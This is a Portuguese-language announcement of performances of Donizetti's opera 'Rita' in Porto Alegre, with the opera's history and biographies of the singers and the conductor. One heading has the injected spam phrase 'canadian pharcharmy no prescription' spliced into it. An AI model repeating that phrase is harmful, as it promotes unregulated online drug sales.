ÓperaProgramaçãoRio Grande do Sul

“Rita”, de Donizetti, em Porto Alegre

Carla Domingues será a protagonista nas récitas da ópera Rita, de Donizetti, com montagem da Orquestra Unisinos.

SERVIÇO

Theatro São Pedro – Porto Alegre

Dias 1.10, às 21h. e 02.10,às 18h.

Ingressos: ver no local

 

A regência é do maestro Evandro Matté. A direção cênica ficará a cargo de Luiz Paulo Vasconcellos e a iluminação será de Fernando Ochôa. Integram ainda o elenco Flávio Leite (Beppe) e Homero Velho (Gasparo).

Rita, ou Le mari battu (Rita, ou o marido que apanhava) é uma ópera cômica em um ato, composta por Gaetano Donizetti com libreto francês por Gustave Vaez. A ópera, uma comédia nacional que consiste de oito números musicais ligados por diálogos falados, foi concluída em 1841, sob o título original Deus hommes e une femme (Dois homens e uma mulher). Nunca foi apresentada durante a vida de Donizetti, tendo sido estreada postumamente na Opéra-Comique, em Paris, em 07 de maio de 1860.

Embora não tenha sido um grande sucesso na época e só esporadicamente levada à cena nos 100 anos após a sua estreia, a ópera foi revivida e calorosamente recebida, primeiro em Roma em 1955 e, em seguida, no Scala Piccola, em Milão, em 1965. No 50 anos que se seguiram, Rita tornou-se uma das óperas mais frequentemente apresentadas de Donizetti.

Em 2009, a Casa Ricordi publicou uma nova edição crítica da partitura, que restabeleceu o diálogo falado original francês e removeu as mudanças que haviam sido foram feitos para a sua estreia póstuma e em revivals subsequentes. A versão original francesa foi reconstruída pelos musicólogos italiano Paolo Rossini e Francesco Bellotto, a partir de um libreto manuscrito recentemente descoberto com anotações de autógrafas de Donizetti.

 

Carla Domingues

A soprano Carla Domingues, natural de Canguçu, Rio Grande do Sul, iniciou seus estudos de canto com a professora Carolina Colvara, na Rass Escola de Música, em 1999. É Bacharel em Canto pela Universidade Federal de Pelotas, sob a orientação da professora Magali Letícia Spiazzi Richter e Mestre em Música pela Universidade do Estado de Santa Catarina – UDESC, na área de Musicologia/ Etnomusicologia, sob orientação de Marcos Holler.

Entre 2006 e 2008, atuou como Professora Substituta das disciplinas de Canto e Técnica Vocal no Instituto de Artes e Design da UFPel e no mesmo período destacou-se em diversas apresentações acadêmicas, dentre elas os Recitais das Turmas de Conjunto de Câmara coordenadas pelo Professor Marcelo Brum, nos quais interpretou o papel de Christine, do musical “O Fantasma da Ópera”, entre outras obras.

Participou do projeto “Convite à Ópera” no papel de Rainha da Noite, da Ópera “A Flauta Mágica” (W.A. Mozart), em 2004. Apresentou-se como solista junto à Orquestra Experimental da Sociedade Pelotense Música Pela Música, sob a regência do Maestro Sérgio Sisto, em inúmeros concertos realizados em Pelotas/ RS e região.

Foi vencedora dos mais importantes Concursos de Canto no Brasil e no Uruguai, tais como:
– 1º Prêmio na Primeira edição do Concurso de Músicos Líricos, realizado em maio de 2005, na cidade de Bagé/ RS;
– 1º Prêmio no Primeiro Festival Lírico de Montevidéu “María Borges”, em 2006;
– 3º Prêmio no Primeiro Concurso Internacional de Canto da Amazônia “Helena Cardoso Coelho”, em maio de 2007, na cidade de Belém/ PA;
– 3º Prêmio no 8º Concurso Internacional de Canto Bidu Sayão, em maio de 2008, realizado em Belo Horizonte/ MG.

Foi vencedora também de duas edições do Festival de Canto Aldo Baldin, realizado em Florianópolis/ SC, e como prêmios interpretou Gilda, na montagem catarinense de “Rigoletto” (Verdi), em 2006, e Adina, na montagem de “L’Elisir d’Amore” (Donizetti) em 2008.

Em maio de 2009, estreou a obra “Come abbiamo potuto dimenticare il paradiso?” composta por Kleber Alexandre sob poema de Franca Meo, encomendada pelo mecenas Piero Giacomini, e que foi composta tendo em vista as possibilidades vocais de Carla. No mesmo período foi solista no “Requiem” de Mozart em Brescia, Itália, sob a batuta do maestro Daniele Tirilli.

Em março de 2010, realizou seu primeiro trabalho em estúdio, gravando a “Symphony of the Good”, de Jean Goldenbaum, juntamente com a Camerata Cantareira, dirigida pelo Maestro Sergio Chnee, em São Paulo, obra esta que teve sua estreia mundial no mesmo período.

Dentre suas recentes atuações estão Madame Herz em montagem de “O Empresário” (W. A. Mozart) em Florianópolis (março/ 2010), soprano solista na “Paixão Segundo São João” (J. S. Bach) em Florianópolis e Blumenau (maio/ 2010), ambos juntamente com a Camerata Florianópolis, Cantata do Café, de Bach e concertos realizados no Rio Grande do Sul, em Pelotas e Porto Alegre e recitais apresentados em Curitiba/PR e Joinville/SC, juntamente com o pianista Cláudio Thompson.

 

Flávio Leite

Especialista em Mozart e no repertório belcantista italiano, o tenor lírico ligeiro gaúcho começou seus estudos musicais como pianista. No Brasil fez seus estudos musicais no Instituto de Cultura Musical da PUCRS, em Porto Alegre, com o maestro Frederico Gerling Jr., de quem gravou em 2000 a Cantata Rei dos Reis, com o Coral e Orquestra da PUCRS.

Em 2003, gravou os CDs Concertos Comunitários Zaffari Vol. 5 e 6 com árias e canções diversas e debutou no Theatro Municipal do Rio de Janeiro em Tosca (Spoletta), com direção de Sílvio Barbato e Ron Daniels, seguindo-se Tristão e Isolda (ein Hirt), direção de Gerald Thomas e Rigoletto (Borsa), direção de Diva Pieranti, fazendo parte de toda a temporada lírica 2003 do teatro carioca.

No início de 2004, participa da abertura da temporada lírica do TMRJ em A Flauta Mágica com direção de Moacyr Góes e, no outono seguinte, canta o papel de Camille de Rossillon em A Viúva Alegre em Porto Alegre, com direção de Décio Antunes.

No mesmo ano parte para temporada de estudos na Europa como bolsista da Fundação Carolina (Espanha) em Curso de Aperfeiçoamento no Conservatório Superior do Liceu, em Barcelona, onde reside atualmente, sob a orientação da mezzosoprano Raquel Pierotti.

Finalista do concurso internacional de canto Manuel  Ausensi em Barcelona e do Certamen para vozes jovens da Ópera de Paris 2005.

Na atual temporada, além de recitais de música de câmara e concertos com o grupo solista da Catedral de Barcelona, protagonizou a ópera O Empresário de Teatro de Mozart em Porto Alegre, e tem programados Il Viaggio a Reims de Rossini e Idomeneo de Mozart no TMRJ, além de La Finta Semplice de Mozart e El Arbol de Diana de Martin y Soler em Barcelona.

 

Homero Velho canadian pharcharmy no prescription

Homero cantou neste ano de 2009, no Michigan Opera Theatre, o papel de Escamillo, na ópera Carmen, em Detroit. Na temporada de 2008, o barítono paulista Homero Velho interpretou Harlekin em Ariadne auf Naxos no Teatro Municipal de São Paulo. Esteve ainda em montagens de La Bohème, no Municipal do Rio de Janeiro, e de Turandot e Maria Golovin, de Gian Carlo Menotti, no Festival Amazonas de Ópera.

Homero Velho dedica-se ao canto lírico desde os 18 anos, quando ingressou na Universidade Estadual Paulista. Agraciado com uma  bolsa de estudos integral, completou seus estudos na renomada Indiana University, nos EUA. Interpretou papéis principais  em óperas como The Ghosts of Versailles e Don Giovanni, em diversos festivais de ópera norte-americanos. Em 1999, como artista residente da National Opera Company, nos EUA, foi Don Alfonso em Cosí fan Tutte e Don Magnifico e Alidoro em La Cenerentola.

De volta ao Brasil, Homero rapidamente se estabeleceu como um dos artistas mais requisitados na cena lírica brasileira. Tem cantado com sucesso nos mas importantes teatro do país. Em 2003, participou da premiére nacional de Magdalena, de Villa-Lobos, e da ópera Florencia en al Amazonas, do mexicano Daniel Catán, no VII Festival Amazonas de Ópera, em Manaus.

No ano seguinte, interpretou Papageno em Die Zauberflöte no Theatro Municipal do Rio de Janeiro, papel que reprisou com grande sucesso no Municipal paulistano em 2006. Também em 2006, foi protagonista nas estréias mundiais de quatro óperas brasileiras: O Caixeiro da Taverna, A Tempestade, Olga e O Pescador e sua Alma, representadas em teatros de São Paulo, Rio de Janeiro e Brasília.

Iniciou o ano de 2007 como Dr. Malatesta em Don Pasquale, na Ópera de Colômbia. No mesmo ano, cantou o Conde em Le Nozze di Figaro e Apollo em Orfeo de Monteverdi, ambas no Teatro Municipal do Rio de Janeiro.

 

Evandro Matté

Coordenador Cultural da Unisinos e do Projeto social Vida com Arte, é Diretor Artístico e Regente da Orquestra Unisinos e professor de graduação em Gestão Cultural. Músico da OSPA desde 1990, foi Diretor Artístico e Regente Titular da Orquestra de Sopros de Novo Hamburgo.

Graduado em música pela UFRGS, é especialista pelo Conservatoire de Bordeaux (França). Realizou curso de aperfeiçoamento na University of Georgia (EUA) e participou do Festival de Verão para jovens regentes do Conservatorie de Bordeaux (FRA). Atuou como músico da Orquestra da PUC de 1990 à 2004 e da Orquestra SCM (atual Orquestra da UCS) de 1998 a 2000.

Como professor, participou dos Festivais de Música de Maringá (PR), Montenegro (RS), Caxias do Sul (RS), Festival de Inverno Unisinos, Verões Musicais (Gramado), Encontro Internacional de Metais de Tatuí (SP) e Semana Acadêmica da UFSM (Universidade Federal de Santa Maria).

Foi docente da UPF (Universidade de Passo Fundo). É especialista em Gestão Empresarial e Diretor Artístico do Festival Internacional SESC de Música.

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